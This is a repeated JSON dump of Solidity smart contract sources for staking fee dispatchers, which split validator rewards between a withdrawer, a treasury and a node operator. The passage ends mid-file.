"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert 